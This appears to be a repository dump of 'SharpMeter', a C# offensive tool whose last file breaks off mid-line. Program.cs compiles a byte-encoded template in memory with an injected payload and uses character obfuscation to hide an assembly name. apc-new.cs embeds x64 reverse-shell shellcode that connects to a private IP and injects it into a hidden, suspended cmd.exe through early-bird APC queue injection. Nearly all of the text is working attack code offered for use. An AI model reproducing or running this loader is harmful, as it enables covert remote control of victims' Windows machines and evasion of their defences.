0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x28, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x42, 0x61, 0x73, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x62, 0x79, 0x74, 0x65, 0x5B, 0x5D, 0x20, 0x6C, 0x70, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x6E, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x4E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x4F, 0x66, 0x42, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x51, 0x75, 0x65, 0x75, 0x65, 0x55, 0x73, 0x65, 0x72, 0x41, 0x50, 0x43, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x70, 0x66, 0x6E, 0x41, 0x50, 0x43, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x64, 0x77, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x28, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x6C, 0x70, 0x53, 0x74, 0x61, 0x72, 0x74, 0x41, 0x64, 0x64, 0x72, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x79, 0x70, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x64, 0x77, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x79, 0x70, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x0D, 0x0A, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x0D, 0x0A, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x4E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x43, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x73, 0x2C, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x64, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x2C, 0x20, 0x72, 0x65, 0x66, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x20, 0x6C, 0x70, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x49, 0x6E, 0x66, 0x6F, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x6C, 0x70, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x52, 0x65, 0x73, 0x75, 0x6D, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x45, 0x78, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x66, 0x6C, 0x4E, 0x65, 0x77, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x6C, 0x70, 0x66, 0x6C, 0x4F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A }; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharpMeter/Program.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.CSharp; 2 | using System; 3 | using System.CodeDom.Compiler; 4 | using System.IO; 5 | using System.Reflection; 6 | 7 | 8 | namespace sharpmtr 9 | { 10 | public class Program 11 | { 12 | 13 | static void Main(string[] args) 14 | { 15 | 16 | if ( args.Length != 1 ) 17 | { 18 | Console.WriteLine("Usage : program.exe path_to_p4yl04d "); 19 | return; 20 | } 21 | string filenamepath = args[0]; 22 | if (!File.Exists(filenamepath)) 23 | { 24 | Console.WriteLine("..dont cheat on me! give me an exisiting file"); 25 | return; 26 | } 27 | 28 | CompilerParameters compileParameters = new CompilerParameters(); 29 | string currentDirectory = Directory.GetCurrentDirectory(); 30 | compileParameters.GenerateInMemory = true; 31 | compileParameters.TreatWarningsAsErrors = false; 32 | compileParameters.GenerateExecutable = false; 33 | compileParameters.CompilerOptions = "/optimize"; 34 | compileParameters.ReferencedAssemblies.Add("S" + (char)121 + "s" + (char)84 + "e" + "m" + (char)46 + (char)100 + (char)108 + (char)76); 35 | 36 | string code = System.Text.Encoding.UTF8.GetString(Constants.byteRS); 37 | string stuff = System.IO.File.ReadAllText(filenamepath); 38 | code = code.Replace("|STUFF|", stuff ); 39 | 40 | CSharpCodeProvider cSharpCompiler = new CSharpCodeProvider(); 41 | CompilerResults compileResults = cSharpCompiler.CompileAssemblyFromSource(compileParameters, code); 42 | 43 | if (compileResults.Errors.HasErrors) 44 | { 45 | string text = "comp errors : "; 46 | foreach (CompilerError compileError in compileResults.Errors) 47 | { 48 | text += "rn " + compileError.ToString(); 49 | } 50 | } 51 | 52 | Module module = compileResults.CompiledAssembly.GetModules()[0]; 53 | Type type = null; 54 | MethodInfo methodInfo = null; 55 | if (module != null) 56 | { 57 | type = module.GetType("xcute.apcip"); 58 | } 59 | if (type != null) 60 | { 61 | methodInfo = type.GetMethod("Fly"); 62 | } 63 | if (methodInfo != null) 64 | { 65 | methodInfo.Invoke(null, null); 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /SharpMeter/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("GhostShell")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("GhostShell")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("30b2e0cf-34dd-4614-a5ca-6578fb684aea")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpMeter/SharpMeter.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {385FF0D7-54AC-4974-9C3A-9C8D987B9EBB} 8 | Exe 9 | Properties 10 | sharpmtr 11 | sharpmeter 12 | v4.0 13 | 512 14 | true 15 | 16 | 17 | 18 | x64 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | TRACE;DEBUG 24 | prompt 25 | 4 26 | true 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | TRACE;DEBUG 41 | true 42 | full 43 | x64 44 | prompt 45 | MinimumRecommendedRules.ruleset 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x64 53 | prompt 54 | MinimumRecommendedRules.ruleset 55 | 56 | 57 | true 58 | bin\x86\Debug\ 59 | TRACE;DEBUG 60 | true 61 | full 62 | x86 63 | prompt 64 | MinimumRecommendedRules.ruleset 65 | 66 | 67 | bin\x86\Release\ 68 | TRACE 69 | true 70 | pdbonly 71 | x86 72 | prompt 73 | MinimumRecommendedRules.ruleset 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 101 | -------------------------------------------------------------------------------- /SharpMeter/SharpMeter.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ShowAllFiles 5 | 6 | 7 | .\pay.txt 8 | 9 | -------------------------------------------------------------------------------- /SharpMeter/apc-new.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | 7 | namespace xcute 8 | { 9 | 10 | public class apcip 11 | { 12 | public static void Fly() 13 | { 14 | try 15 | { 16 | 17 | byte[] buf = new byte[650] { 18 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 19 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 20 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 21 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 22 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 23 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 24 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 25 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 26 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 27 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 28 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 29 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 30 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 31 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 32 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 33 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 34 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4, 35 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 36 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 37 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 38 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 39 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 40 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 41 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 42 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 43 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89, 44 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a, 45 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31, 46 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00, 47 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89, 48 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4, 49 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00, 50 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59, 51 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff, 52 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41, 53 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53, 54 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89, 55 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89, 56 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18, 57 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02, 58 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41, 59 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff, 60 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0, 61 | 0xb5,0xa2,0x56,0xff,0xd5 }; 62 | 63 | // Target process 64 | string processpath = @"c:\windows\system32\cmd.exe"; 65 | STARTUPINFO si = new STARTUPINFO(); 66 | si.cb = (uint)System.Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO)); 67 | si.dwFlags = STARTF_USESHOWWINDOW; 68 | si.wShowWindow = (short)(SW.SW_HIDE); 69 | 70 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 71 | 72 | // Create new process in suspended state to inject into 73 | bool success = CreateProcess(processpath, null, 74 | IntPtr.Zero, IntPtr.Zero, false, 75 | ProcessCreationFlags.CREATE_SUSPENDED, 76 | IntPtr.Zero, null, ref si, out pi); 77 | 78 | // Allocate memory within process and write shellcode 79 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, buf.Length, MEM_COMMIT, PAGE_READWRITE); 80 | IntPtr bytesWritten = IntPtr.Zero; 81 | bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, buf, buf.Length, out bytesWritten); 82 | 83 | // Open thread 84 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); 85 | uint oldProtect = 0; 86 | 87 | // Modify memory permissions on allocated shellcode 88 | resultBool = VirtualProtectEx(pi.hProcess, resultPtr, buf.Length, PAGE_EXECUTE_READ, out oldProtect); 89 | 90 | // Assign address of shellcode to the target thread apc queue 91 | IntPtr ptr = QueueUserAPC(resultPtr, 